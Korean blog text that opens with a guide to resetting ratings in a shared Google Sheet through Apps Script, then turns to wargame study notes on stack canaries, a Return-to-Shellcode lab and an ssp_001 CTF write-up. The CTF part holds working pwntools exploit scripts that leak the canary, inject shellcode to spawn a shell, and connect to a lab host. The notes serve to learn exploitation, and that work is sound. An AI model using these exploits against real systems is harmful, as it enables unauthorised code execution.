전에 회식 때 한 번 이야기가 나온 것 같기도 하고

현황판에 있는 곡을 다른 곡으로 바꿨을 때 다른 분들이 주신 평점을 손쉽게 초기화할 수 있으면 좋지 않을까? 하는 생각에

Apps Script 기능을 이용해서 뭔가 만들어봤습니다.

조금 복잡할 수 있지만 차근차근 잘 따라와주세요! 한번만 해보면 은근히 간편합니다.

 

 


 

1. 수정하고 싶은 곡의 '평점 셀 이름' 확인

 

예를 들어, 제가 등록한 곡인 < ヨルシカ-雨とカプチーノ> (이하 '비와 카푸치노')를

다른 곡으로 수정할 일이 생겨서, 평점을 초기화해야 한다고 생각해 봅시다.

 

가장 먼저 아무 개인시트(현황표 제외, 멤버 이름으로 되어 있는 시트)에 들어가셔서

해당 곡의 평점이 들어있는 셀의 이름을 확인합니다.

'비와 카푸치노'의 평점은 B5번 셀에 있네요.

(말이 이름이지, 평점은 다 B열에 있으니 B 몇 번인지만 봐주시면 됩니다.)

 

평점 초기화를 하고 싶은 (바꿔넣은) 곡이 여러 곡일 경우 해당 셀 이름을 모두 확인합니다.

ex: '김서윤'이 등록한 모든 곡을 바꾸고 싶다! -> B5, B6, B7

 

 

 

 

2. 확장 프로그램 -> Apps Script 클릭

 

누르시고 스크롤을 좀 내려보면 대강 위 화면과 같은 코드가 보일 텐데요,

정확히 "38번 줄" 에 (= 한글 메모가 붙어있는 줄) 보시면 큰따옴표로 "B5:B7" 등과 같이 표시된 게 보이실 겁니다.

저 안에 아까 확인한 셀번호를 넣어주세요.

만약 셀이 한 개가 아니라면 "시작셀:끝셀" 형식으로 넣어주시면 범위 적용이 됩니다.

 

위 기능을 응용하면 전체 곡의 평점을 한번에 초기화하는 것도 가능할 것 같네요.

 

 

 

3. [▷실행] 버튼 누르기

최초 1회 실행 시 계정 권한을 확인하는 절차가 있습니다.

권한 확인 방법은 스크립트 페이지 안의 메모를 확인해 주세요.

이해를 돕기 위해 제가 참고한 링크도 첨부합니다.

https://www.citopes.com/entry/%EA%B5%AC%EA%B8%80%EC%95%B1-%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%EA%B6%8C%ED%95%9C-%ED%97%88%EC%9A%A9%ED%95%98%EA%B8%B0

 

구글앱 스크립트 권한 허용하기

스크립트를 작성해주고 실행이 안되는 경우가 있습니다. 처음에는 저도 상당히 당황 했는데요. 스크립트 실행 권한을 해당 계정에 부여를 해줘야 합니다. 문서를 공유한 사람도 당연히 허용을

www.citopes.com

 

메모에 적힌 대로, "최초 1회" 때만 필요한 절차입니다.

가끔 권한 확인을 할 수 없는 경우가 있는데,

이때는 다른 구글계정이 있으신 경우 그걸로 바꿔서 다시 시도해보시면 될 것 같아요.

 

실행을 누르면 하단에 로그라는 게 뜰 텐데요...

[[0, 0]] 따위의 것이 쭈루룩 뜨면 정상적으로 초기화가 되었다는 뜻입니다.

대괄호 안에 0이 아닌 다른 숫자가 떴다면 뭔가 문제가 생긴 거예요.

 

실행에 어려움이 있으시면 언제든 말씀해주세요.

문제점을 같이 알아봐드리거나... 귀찮으시면 얼마든지 대신 초기화해드립니다.

 

 

 

주의사항

  1. 한번 실행하면 되돌리기가 어렵습니다.
    위 스크린샷에서 눈치채셨겠지만... 제가 이걸 원래 사본을 만들어서 테스트를 돌렸었는데
    공용 시트에서도 한번 테스트를 돌려봤다가 여러분이 주신 평점을 영영 잃었습니다..........
    Ctrl + Z도 안 먹히고 되돌리기버튼을 눌러도 안 돌아갑니다.
    실행하실 땐 셀번호를 충분히 확인해주세요.
    그리고 염치없지만 이거 만들어왔으니 한번만 봐주시고 제가 넣은 곡 평점 좀 다시 주실 수 있을까요 죄송합니다
  2. 스크립트에서 셀 번호를 넣는 부분상단 한국어 메모 이외의 부분을 수정하시면 안 됩니다.
    실행이 안 될 가능성이 높아요.
    혹시 실수로 건드렸다고 해도 저장을 안 하셨다면, 그냥 그대로 끄고 나가시면 변경이 적용되지 않으므로 괜찮습니다.
    건드린 채로 저장까지 해 버렸다면 저를 불러주세요. 코드 사본이 따로 저장되어 있으니 금방 복구해올 수 있습니다.

스택 카나리(Stack Canary)

: 함수의 프롤로그에서 스택 버퍼와 반환 주소 사이에 임의 값을 삽입하고

함수 에필로그에서 해당 값의 변조를 확인하는 보호기법

  • 이 값의 변조가 확인되면 프로세스는 강제 종료됨
  • 스택버퍼오버플로우로 반환주소를 덮을 땐 반드시 카나리도 덮어야(변조해야)하므로
  • 원 카나리값을 모르고 이 값을 변조하게 되면 에필로그에서 변조가 적발되어 흐름 탈취에 실패하게 됨

 

 

 

1. 카나리 정적 분석

 

예제 코드 (스택 버퍼 오버플로우가 발생하는 코드)

// Name: canary.c
#include <unistd.h>
int main() {
  char buf[8];
  read(0, buf, 32);
  return 0;
}

(버퍼 크기는 8, 입력받는 크기는 32이므로 오버플로우 발생)

 

 

1-1. 카나리 비활성화

  • Ubuntu 18.04의 gcc는 컴파일 시 기본적으로 스택 카나리를 적용하기 때문에
  • 컴파일 옵션으로 -fno-stack-protector를 추가해야 카나리 없이 컴파일할 수 있음

 

  • 다음 명령어로 예제를 컴파일한 뒤 긴 입력을 주면 스택 버퍼 오버플로우가 발생하고
  • 반환주소가 덮여 Segmentation Fault가 발생함
$ gcc -o no_canary canary.c -fno-stack-protector
$ ./no_canary
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
Segmentation fault

 

 

1-2. 카나리 활성화

카나리를 적용한 뒤 다시 컴파일하고 긴 입력을 주면

Segmentation Fault 대신 stack smashing detected와 Aborted 에러가 발생함

= 스택 버퍼 오버플로우가 감지됨 & 그로 인해 프로세스 강제 종료되었음

$ gcc -o canary canary.c
$ ./canary
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
*** stack smashing detected ***: <unknown> terminated
Aborted

 

카나리가 없을 때와 디스어셈블 결과를 비교하면

main함수의 프롤로그/에필로그에 각각 다음 코드들이 추가된 것을 알 수 있음

   0x00000000000006b2 <+8>:     mov    rax,QWORD PTR fs:0x28     
   0x00000000000006bb <+17>:    mov    QWORD PTR [rbp-0x8],rax   
   0x00000000000006bf <+21>:    xor    eax,eax

(프롤로그)

   0x00000000000006dc <+50>:    mov    rcx,QWORD PTR [rbp-0x8]    
   0x00000000000006e0 <+54>:    xor    rcx,QWORD PTR fs:0x28      
   0x00000000000006e9 <+63>:    je     0x6f0 <main+70>                   
   0x00000000000006eb <+65>:    call   0x570 <__stack_chk_fail@plt>

(에필로그)

 

 

 

2. 카나리 동적 분석

 

 

2-1. 카나리 저장

디스어셈블된 (카나리가 있는) 프롤로그 코드에 중단점 설정 -> 바이너리 실행

   0x00000000000006b2 <+8>:     mov    rax,QWORD PTR fs:0x28     //fs:0x28의 데이터 rax에 저장
   // fs = 세그먼트 레지스터의 일종. 프로세스가 시작될 때 랜덤 값을 저장받음
   // 위 코드 실행으로 rax에는 첫 바이트가 널바이트인 8바이트 (랜덤) 데이터가 저장됨
   0x00000000000006bb <+17>:    mov    QWORD PTR [rbp-0x8],rax   //rax의 랜덤값 rbp-0x8에 저장
   0x00000000000006bf <+21>:    xor    eax,eax

 

 

2-2. 카나리 실행

추가된 에필로그 코드에 중단점 설정 -> 바이너리 계속 실행

   0x00000000000006dc <+50>:    mov    rcx,QWORD PTR [rbp-0x8]    //저장한 카나리 rcx로 이동
   0x00000000000006e0 <+54>:    xor    rcx,QWORD PTR fs:0x28      //rcx값을 fs:0x28과 비교
   // fs:0x28에는 원래의 카나리값이 들어있으므로 두 값이 동일하면 xor 연산결과는 0이 되며
   // je 조건 만족, main함수는 +70d으로 점프하여 정상적으로 반환
   // 만약 그렇지 않으면 +65의 __stack_chk_fail이 호출되며 프로그램 강제종료
   0x00000000000006e9 <+63>:    je     0x6f0 <main+70>                   
   0x00000000000006eb <+65>:    call   0x570 <__stack_chk_fail@plt>

강제종료 시 출력되는 메시지

*** stack smashing detected ***: <unknown> terminated
Program received signal SIGABRT, Aborted.

 

 

3. 카나리 생성 과정

: 카나리 값은 프로세스 시작 시 TLS에 전역 변수로 저장되고

각 함수마다 프롤로그/에필로그에서 이 값을 참조함

 

 

3-1. TLS 주소 파악

  • fs = TLS를 가리킴. fs의 값을 알면 TLS 주소도 알 수 있음
  • / 리눅스에서 fs의 값은 특정 시스템 콜을 사용해야만 조회/설정할 수 있음
  • (타 레지스터처럼 info register fs나 prints $fs 같은 명령어로는 값 알 수 없음)
  • => fs 값 설정 시 호출되는 arch_prctl(int code, unsigned long addr) 시스템 콜에 중단점 설정하여
  • fs가 어떤 값으로 설정되는지 조사
  • -> arch_prctl(ARCH_SET_FS, addr) 형태로 호출하면 fs 값이 addr로 설정됨

 

  • catch(특정 이벤트 발생 시 프로세스 중지) 명령어 사용하여
  • arch_prctl에 catchpoint 설정하고 실습에 사용한 카나리 실행
$ gdb -q ./canary
pwndbg> catch syscall arch_prctl
Catchpoint 1 (syscall 'arch_prctl' [158])
pwndbg> run

 

  • catchpoint 도달 시점에서 rdi = 0x1002. =ARCH_SET_FS의 상숫값
  • rsi = 0x7ffff7fdb4c0 이므로 이 주소에 TLS가 저장되고 fs는 이를 가리키게 될 것임
  • 카나리가 저장될 fs+0x28(0x7ffff7fdb4c0 + 0x28) 값을 보면 아직 아무 값도 설정되어 있지 않음
Catchpoint 1 (call to syscall arch_prctl), 0x00007ffff7dd6024 in init_tls () at rtld.c:740
740	rtld.c: No such file or directory.
 ► 0x7ffff7dd4024 <init_tls+276>    test   eax, eax
   0x7ffff7dd4026 <init_tls+278>    je     init_tls+321 <init_tls+321>
   0x7ffff7dd4028 <init_tls+280>    lea    rbx, qword ptr [rip + 0x22721]
pwndbg> info register $rdi
rdi            0x1002   4098          // ARCH_SET_FS = 0x1002
pwndbg> info register $rsi
rsi            0x7ffff7fdb4c0   140737354032320 
pwndbg> x/gx 0x7ffff7fdb4c0+0x28
0x7ffff7fdb4e8:	0x0000000000000000

 

 

3-2. 카나리 값 설정

  • TLS 주소를 파악했으므로 gdb의 watch 명령어로 TLS+0x28에 값을 쓸 때 (카나리값을 쓸 때) 프로세스 중단
  • watch = 특정 주소에 저장된 값이 변경되면 프로세스를 중단시키는 명령어 (주소 감시)
pwndbg> watch *(0x7ffff7fdb4c0+0x28)
Hardware watchpoint 4: *(0x7ffff7fdb4c0+0x28)

 

  • watchpoint 설정 후 프로세스 계속 진행
  • -> security_init 함수에서 프로세스 정지
pwndbg> continue
Continuing.
Hardware watchpoint 4: *(0x7ffff7fdb4c0+0x28)
Old value = 0
New value = -1942582016
security_init () at rtld.c:807
807	in rtld.c

 

  • 이 시점에서 TLS+0x28 값 조회 시
  • 0x2f35207b8c368d00이 카나리로 설정된 것을 볼 수 있음
pwndbg> x/gx 0x7ffff7fdb4c0+0x28
0x7ffff7fdb4e8:	0x2f35207b8c368d00

 

  • 실제 이 값이 카나리인지 확인 -> main함수에 중단점 설정 후 계속 실행
pwndbg> b *main
Breakpoint 3 at 0x5555555546ae

 

  • mov rax,QWORD PTR fs:0x28 실행 후 rax 값 확인 -> security_init 에서 설정한 값과 동일함이 확인됨
Breakpoint 3, 0x00005555555546ae in main ()
pwndbg> x/10i $rip
 ► 0x5555555546ae <main+4>:	    sub    rsp,0x10
   0x5555555546b2 <main+8>:	    mov    rax,QWORD PTR fs:0x28
   0x5555555546bb <main+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x5555555546bf <main+21>:	xor    eax,eax
   0x5555555546c1 <main+23>:	lea    rax,[rbp-0x10]
   0x5555555546c5 <main+27>:	mov    edx,0x20
   0x5555555546ca <main+32>:	mov    rsi,rax
   0x5555555546cd <main+35>:	mov    edi,0x0
   0x5555555546d2 <main+40>:	call   0x555555554580 <read@plt>
   0x5555555546d7 <main+45>:	mov    eax,0x0
pwndbg> ni
0x00005555555546b2 in main ()
pwndbg> ni
0x00005555555546bb in main ()
pwndbg> i r $rax
rax            0x2f35207b8c368d00	3401660808553729280
pwndbg>

 

 

4. 카나리 우회

 

 

4-1. 무차별 대입(Brute Force)

  • x64 아키텍처에서는 8바이트, x86 아키텍처에서는 4바이트 카나리가 생성됨
  • 각각의 카나리에는 널 바이트가 포함되어 있으므로 실제로는 각각 7바이트/3바이트
  • => 무차별 대입으로 알아내려면 각각 256^7번, 256^3번의 연산 필요
  • 연산량이 많아 x64 아키텍처에서는 무차별 대입법 자체가 현실적으로 무리
  • x86에서는 구할 수는 있으나, 실제 서버 대상으로는 무리

 

4-2. TLS 접근

: 실행 중 TLS 주소를 알 수 있고 / 임의 주소에 대한 읽기&쓰기가 가능하다면 카나리값 열람/조작이 가능함

  • 스택버퍼오버플로우를 수행할 때 알아낸(조작한) 카나리 값으로 스택 카나리를 덮으면
  • 함수 에필로그의 카나리 검사도 우회 가능

Exploit Tech : Return to Shellcode

 

예제 코드

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
int main() {
  char buf[0x50];
  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);
  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);
  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);
  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);
  return 0;
}

 

 

 

1. 보호기법 탐지

: checksec 툴 사용

  • pwntools 설치 시 같이 설치되어 옴. ~/.local/bin/checksec에 위치함
  • 간단한 커맨드 하나로 바이너리에 적용된 보호기법 파악할 수 있음
$ checksec ./r2s
[*] '/home/dreamhack/r2s'    
  Arch:     amd64-64-little    
  RELRO:    Full RELRO
  Stack:    Canary found
  NX:       NX disabled
  PIE:      PIE enabled
  RWX:      Has RWX segments

(위 커맨드 사용 시 command not found 에러가 뜰 경우 /.bashrc의 마지막 줄에 다음 줄 추가할 것)

export PATH="$HOME/.local/bin/:$PATH"

위 확인 결과로 r2s바이너리에 카나리가 적용되어 있는 것을 확인할 수 있음

 

 

 

2. 취약점 탐색

 

2-1. buf 주소

: (실습 편의를 위해) buf 주소, rbp와 buf 사이의 주소 차 드러남

printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
        (char*)__builtin_frame_address(0) - buf);

 

2-2. 스택 버퍼 오버플로우

: 스택버퍼인 buf에 입력을 받는 총 두 번의 입력에서 모두 오버플로우가 발생함

char buf[0x50];
read(0, buf, 0x100);   // 0x50 < 0x100
gets(buf);

 

 

 

3. 익스플로잇 시나리오

 

3-1. 카나리 우회

: 두 번째 입력으로 반환 주소를 덮을 수 있지만 카나리 변조 시 프로그램이 강종되므로

  • 첫번째 입력에서 카나리를 구하고 -> 두번째 입력에서 사용해야 함
  • 첫번째 입력 바로 뒷단에서 buf를 스트링으로 출력해주기 때문에
  • buf에 적절한 오버플로우를 발생시키면 카나리 값을 드러낼 수 있을 것임
read(0, buf, 0x100);                  // Fill buf until it meets canary
printf("Your input is '%s'\n", buf);

 

 

3-2. 셸 획득

  • 지난 실습과 달리 셸 획득 함수가 주어지지 않으므로 셸 획득 코드를 직접 주입하고
  • 해당 주소로 실행흐름을 옮겨야 함
  • -> 이미 주소가 알려진 buf에 셸코드 주입 -> 해당 주소로 실행 흐름 이동하여 셸 획득

 

 

 

4. 스택 프레임 정보 수집

  • 스택 프레임 구조 파악
from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))
p = process("./r2s")
context.arch = "amd64"
# [1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)
slog("Address of buf", buf)
p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)
$ python3 ./r2s.py
[+] Starting local process './r2s': pid 8501
[+] Address of buf: 0x7ffe1d28c570
[+] buf <=> sfp: 0x60
[+] buf <=> canary: 0x58

(결과값)

 

 

5. 카나리 릭

buf와 카나리 사이를 임의 값으로 채우면 프로그램에서 buf를 출력할 때 카나리도 함께 출력될 것임

스택 프레임 구조를 고려하여 카나리를 구하는 코드 작성

# [2] Leak canary value
payload = b"A"*(buf2cnry + 1)  # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7))
slog("Canary", cnry)
$ python3 ./r2s.py
[+] Starting local process './r2s': pid 8564
[+] Address of buf: 0x7ffe58a8d740
[+] buf <=> sfp: 0x60
[+] buf <=> canary: 0x58
[+] Canary: 0x40e736d41cd76400

 

6. 익스플로잇

buf에 셸코드를 주입하고 카나리를 구한 값으로 덮은 뒤

-> 반환주소 (RET)를 buf로 덮으면 셸코드가 실행됨

(context.arch, shellcraft, asm을 이용하면 스크립트를 쉽게 추가할 수 있음)

# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A") + p64(cnry) + b"B"*0x8 + p64(buf)
# gets() receives input until "\n" is received
p.sendlineafter("Input:", payload)
p.interactive()
$ python3 ./r2s.py
[+] Starting local process './r2s': pid 8593
[+] Address of buf: 0x7ffc323acb00
[+] buf <=> sfp: 0x60
[+] buf <=> canary: 0x58
[+] Canary: 0x6955522676848000
[*] Switching to interactive mode
 $ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack) ...

 

 

전체 익스플로잇 코드

#!/usr/bin/env python3
# Name: r2s.py
from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))
p = process("./r2s")
context.arch = "amd64"
# [1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)
slog("Address of buf", buf)
p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)
# [2] Leak canary value
payload = b"A"*(buf2cnry + 1)  # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7))
slog("Canary", cnry)
# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A") + p64(cnry) + b"B"*0x8 + p64(buf)
# gets() receives input until "\n" is received
p.sendlineafter("Input:", payload)
p.interactive()


ssp_001

 

첨부 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}

void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}

int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}
  • 셸 획득을 위한 get_shell() 함수가 정의되어 있음
    (셸코드 별도 삽입 대신 리턴주소에 get_shell() 주소를 삽입하면 됨)
  • 유저 입력이 select 변수에 담겨 들어감
    (이 부분에서는 정확히 버퍼 길이만큼만 읽으므로 오버플로우 불가능)

 

  • 유저 입력: F > box 배열에 입력값을 넣을 수 있으나 딱 배열 길이만큼만 입력받고 있으므로 취약x
  • 유저 입력: P > scanf로 idx를 입력받고 있음
    직후 print_box로 해당 idx가 box 배열 인덱스로 들어갔을 경우의 주소값 출력
    = box부터 idx까지의 거리(바이트) 파악 가능.
    => 이후 main 함수의 어셈블리 코드를 보고 카나리 위치를 알아낸 뒤 idx에 카나리 위치를 넣으면
    box 배열부터 카나리까지의 거리를 구할 수 있음
  • 유저 입력: E > 원하는 길이를 설정해 그 길이만큼의 문자열을 넘겨줄 수 있음 
    => 페이로드(겟셸) 넘겨줄 수 있음

 

먼저 checksec으로 적용된 보호기법을 살펴본다.

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

확실하게 카나리가 적용되어 있다.

그 다음에는 메인 함수를 디스어셈블해 본다.

pwndbg> disassemble main
Dump of assembler code for function main:
   0x0804872b <+0>:     push   ebp
   0x0804872c <+1>:     mov    ebp,esp
   0x0804872e <+3>:     push   edi
   0x0804872f <+4>:     sub    esp,0x94
   0x08048735 <+10>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048738 <+13>:    mov    DWORD PTR [ebp-0x98],eax
   0x0804873e <+19>:    mov    eax,gs:0x14
   0x08048744 <+25>:    mov    DWORD PTR [ebp-0x8],eax
   0x08048747 <+28>:    xor    eax,eax
   0x08048749 <+30>:    lea    edx,[ebp-0x88]
   0x0804874f <+36>:    mov    eax,0x0
   0x08048754 <+41>:    mov    ecx,0x10
   0x08048759 <+46>:    mov    edi,edx
   0x0804875b <+48>:    rep stos DWORD PTR es:[edi],eax
   0x0804875d <+50>:    lea    edx,[ebp-0x48]
   0x08048760 <+53>:    mov    eax,0x0
   0x08048765 <+58>:    mov    ecx,0x10
   0x0804876a <+63>:    mov    edi,edx
   0x0804876c <+65>:    rep stos DWORD PTR es:[edi],eax
   0x0804876e <+67>:    mov    WORD PTR [ebp-0x8a],0x0
   0x08048777 <+76>:    mov    DWORD PTR [ebp-0x94],0x0
   0x08048781 <+86>:    mov    DWORD PTR [ebp-0x90],0x0
   0x0804878b <+96>:    call   0x8048672 <initialize>
   0x08048790 <+101>:   call   0x80486f1 <menu>
   0x08048795 <+106>:   push   0x2
   0x08048797 <+108>:   lea    eax,[ebp-0x8a]
   0x0804879d <+114>:   push   eax
   0x0804879e <+115>:   push   0x0
   0x080487a0 <+117>:   call   0x80484a0 <read@plt>
   0x080487a5 <+122>:   add    esp,0xc
   0x080487a8 <+125>:   movzx  eax,BYTE PTR [ebp-0x8a]
   0x080487af <+132>:   movsx  eax,al
   0x080487b2 <+135>:   cmp    eax,0x46
   0x080487b5 <+138>:   je     0x80487c6 <main+155>
   0x080487b7 <+140>:   cmp    eax,0x50
   0x080487ba <+143>:   je     0x80487eb <main+192>
   0x080487bc <+145>:   cmp    eax,0x45
   0x080487bf <+148>:   je     0x8048824 <main+249>
   0x080487c1 <+150>:   jmp    0x804887a <main+335>
   0x080487c6 <+155>:   push   0x804896c
   0x080487cb <+160>:   call   0x80484b0 <printf@plt>
   0x080487d0 <+165>:   add    esp,0x4
   0x080487d3 <+168>:   push   0x40
   0x080487d5 <+170>:   lea    eax,[ebp-0x88]
   0x080487db <+176>:   push   eax
   0x080487dc <+177>:   push   0x0
   0x080487de <+179>:   call   0x80484a0 <read@plt>
   0x080487e3 <+184>:   add    esp,0xc
   0x080487e6 <+187>:   jmp    0x804887a <main+335>
   0x080487eb <+192>:   push   0x8048979
   0x080487f0 <+197>:   call   0x80484b0 <printf@plt>
   0x080487f5 <+202>:   add    esp,0x4
   0x080487f8 <+205>:   lea    eax,[ebp-0x94]
   0x080487fe <+211>:   push   eax
   0x080487ff <+212>:   push   0x804898a
   0x08048804 <+217>:   call   0x8048540 <__isoc99_scanf@plt>
   0x08048809 <+222>:   add    esp,0x8
   0x0804880c <+225>:   mov    eax,DWORD PTR [ebp-0x94]
   0x08048812 <+231>:   push   eax
   0x08048813 <+232>:   lea    eax,[ebp-0x88]
   0x08048819 <+238>:   push   eax
   0x0804881a <+239>:   call   0x80486cc <print_box>
   0x0804881f <+244>:   add    esp,0x8
   0x08048822 <+247>:   jmp    0x804887a <main+335>
   0x08048824 <+249>:   push   0x804898d
   0x08048829 <+254>:   call   0x80484b0 <printf@plt>
   0x0804882e <+259>:   add    esp,0x4
   0x08048831 <+262>:   lea    eax,[ebp-0x90]
   0x08048837 <+268>:   push   eax
   0x08048838 <+269>:   push   0x804898a
   0x0804883d <+274>:   call   0x8048540 <__isoc99_scanf@plt>
   0x08048842 <+279>:   add    esp,0x8
   0x08048845 <+282>:   push   0x804899a
   0x0804884a <+287>:   call   0x80484b0 <printf@plt>
   0x0804884f <+292>:   add    esp,0x4
   0x08048852 <+295>:   mov    eax,DWORD PTR [ebp-0x90]
   0x08048858 <+301>:   push   eax
   0x08048859 <+302>:   lea    eax,[ebp-0x48]
   0x0804885c <+305>:   push   eax
   0x0804885d <+306>:   push   0x0
   0x0804885f <+308>:   call   0x80484a0 <read@plt>
   0x08048864 <+313>:   add    esp,0xc
   0x08048867 <+316>:   mov    eax,0x0
   0x0804886c <+321>:   mov    edx,DWORD PTR [ebp-0x8]
   0x0804886f <+324>:   xor    edx,DWORD PTR gs:0x14
   0x08048876 <+331>:   je     0x8048884 <main+345>
   0x08048878 <+333>:   jmp    0x804887f <main+340>
   0x0804887a <+335>:   jmp    0x8048790 <main+101>
   0x0804887f <+340>:   call   0x80484e0 <__stack_chk_fail@plt>
   0x08048884 <+345>:   mov    edi,DWORD PTR [ebp-0x4]
   0x08048887 <+348>:   leave  
   0x08048888 <+349>:   ret    
End of assembler dump.

상당한 길이지만 C코드와 잘 대조해 보면 어떤 부분이 어디에 해당되는지 대강 알아볼 수 있다.

 

 

 box부터 카나리까지의 거리를 알아보자. 이 부분을 보면 된다.

0x08048790 <+101>:   call   0x80486f1 <menu>
0x08048795 <+106>:   push   0x2
0x08048797 <+108>:   lea    eax,[ebp-0x8a]
0x0804879d <+114>:   push   eax
0x0804879e <+115>:   push   0x0
0x080487a0 <+117>:   call   0x80484a0 <read@plt>
0x080487a5 <+122>:   add    esp,0xc
0x080487a8 <+125>:   movzx  eax,BYTE PTR [ebp-0x8a]
0x080487af <+132>:   movsx  eax,al
0x080487b2 <+135>:   cmp    eax,0x46
0x080487b5 <+138>:   je     0x80487c6 <main+155>
0x080487b7 <+140>:   cmp    eax,0x50
0x080487ba <+143>:   je     0x80487eb <main+192>
0x080487bc <+145>:   cmp    eax,0x45
0x080487bf <+148>:   je     0x8048824 <main+249>
0x080487c1 <+150>:   jmp    0x804887a <main+335>

while 루프와 switch 부분이다. +140, +143 부분을 보면 read함수로부터 받은 값이 P일 때 +192로 점프하도록 되어 있다.

(문자 'P'의 아스키코드는 0x50)

같은 원리로 E를 입력하면 +249로 점프하도록 되어 있다.

 

 

0x080487eb <+192>:   push   0x8048979
0x080487f0 <+197>:   call   0x80484b0 <printf@plt>
0x080487f5 <+202>:   add    esp,0x4
0x080487f8 <+205>:   lea    eax,[ebp-0x94]
0x080487fe <+211>:   push   eax
0x080487ff <+212>:   push   0x804898a
0x08048804 <+217>:   call   0x8048540 <__isoc99_scanf@plt>
0x08048809 <+222>:   add    esp,0x8
0x0804880c <+225>:   mov    eax,DWORD PTR [ebp-0x94]
0x08048812 <+231>:   push   eax
0x08048813 <+232>:   lea    eax,[ebp-0x88]
0x08048819 <+238>:   push   eax
0x0804881a <+239>:   call   0x80486cc <print_box>

P를 입력했을 때 실행되는, +192부터의 어셈블리 코드이다.

+232를 보면 box 배열의 주소가 ebp-0x88임을 알 수 있다. 0x40바이트짜리 공간이니 0x48~0x88의 주소를 차지할 것이다.

 

0x08048824 <+249>:   push   0x804898d
0x08048829 <+254>:   call   0x80484b0 <printf@plt>
0x0804882e <+259>:   add    esp,0x4
0x08048831 <+262>:   lea    eax,[ebp-0x90]
0x08048837 <+268>:   push   eax
0x08048838 <+269>:   push   0x804898a
0x0804883d <+274>:   call   0x8048540 <__isoc99_scanf@plt>
0x08048842 <+279>:   add    esp,0x8
0x08048845 <+282>:   push   0x804899a
0x0804884a <+287>:   call   0x80484b0 <printf@plt>
0x0804884f <+292>:   add    esp,0x4
0x08048852 <+295>:   mov    eax,DWORD PTR [ebp-0x90]
0x08048858 <+301>:   push   eax
0x08048859 <+302>:   lea    eax,[ebp-0x48]
0x0804885c <+305>:   push   eax
0x0804885d <+306>:   push   0x0
0x0804885f <+308>:   call   0x80484a0 <read@plt>

+249부터 입력했을 때 실행되는, E 부분의 스위치문 코드이다.

+302를 보면 name 배열의 주소는 0x48임을 알 수 있다. 이 또한 0x40바이트짜리 배열이므로

name 배열은 0x8~0x48의 공간을 차지한다고 생각할 수 있다.

 

같은 순서로 탐색한 결과 

 

그렇다면 카나리는 어디 있을까? 이 문제에서는 유념해야 할 것이 있다.

이번 스테이지에서 우리는 카나리가 fs: 0x28에 저장된다고 배웠지만

그것은 64비트 시스템 기준이다. 32비트에서는 gs: 0x14에 저장된다고 한다.

그러면 카나리가 저장된다고 생각할 수 있는 부분은 이 부분이다.

   0x0804873e <+19>:    mov    eax,gs:0x14
   0x08048744 <+25>:    mov    DWORD PTR [ebp-0x8],eax

카나리는 0x8에 있다. 그러므로 name부터 카나리까지는 0x40바이트 차이, box부터는 0x80바이트 차이가 나는 것이다.

 

거리를 알았다면 이제 카나리 값을 알아내고 셸 함수의 주소를 얻은 뒤 리턴주소를 덮는 코드를 작성해 준다.

from pwn import *

def canary_leak(num):
    p.sendline(b'P')
    p.sendlineafter("index : ", str(num))
    p.recvuntil("is : ")
    return p.recv()[:2]

def log(a, b):
    return success(": ".join([a, hex(b)]))

p = remote("host1.dreamhack.games", 24128)
e = ELF("./ssp_001")

p.recvuntil("> ")

canary = b"0x"
canary += canary_leak(131)
canary += canary_leak(130)
canary += canary_leak(129)
canary += canary_leak(128)

canary = int(canary, 16)
get_shell = e.symbols["get_shell"]

log("Canary", canary)
log("get_shell()", get_shell)

